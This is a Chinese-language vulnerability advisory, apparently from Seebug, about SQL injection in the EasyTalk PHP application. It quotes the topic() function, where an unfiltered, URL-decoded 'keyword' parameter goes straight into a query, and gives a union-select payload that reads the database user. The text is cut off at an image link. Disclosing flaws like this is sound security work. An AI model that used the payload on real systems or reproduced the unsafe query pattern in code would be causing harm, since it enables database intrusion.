EasyTalk Sql Injection 1-5

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: 过滤不严。 ### 详细说明: 注入1: 在topicaction.class.php中 ``` public function topic() { $keyword=$this->_get('keyword','urldecode');//无过滤 且解码 if ($keyword) { $topic = D('Topic')->where("topicname='$keyword'")->find(); if ($topic) { $isfollow=D('Mytopic')->isfollow($topic['id'],$this->my['user_id']); $topicusers=D('MytopicView')->where("topicid='$topic[id]'")->order('id desc')->limit(9)->select(); //getwidget $widget=M('Topicwidget')->where("topicid='$topic[id]'")->order('`order` ASC')->select(); if ($widget) { foreach ($widget as $val) { $topicwidget[$val['widgettype']][]=$val; } } $this->assign('topicwidget',$topicwidget); } else { $count=$isfollow=0; } ``` $topic = D('Topic')->where("topicname='$keyword'")->find(); 这里 带入查询。 where topicname='keyword'; SELECT * FROM `et_topic` WHERE topicname='aaa' LIMIT 1 构造一下 aaa' and 1=2 union select 1,2,3,user(),5 %23 完美注入。 [<img src="https://images.seebug.org/upload/201402/06145004322c9f954d02b9692a4a4634fd425635.jpg"...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息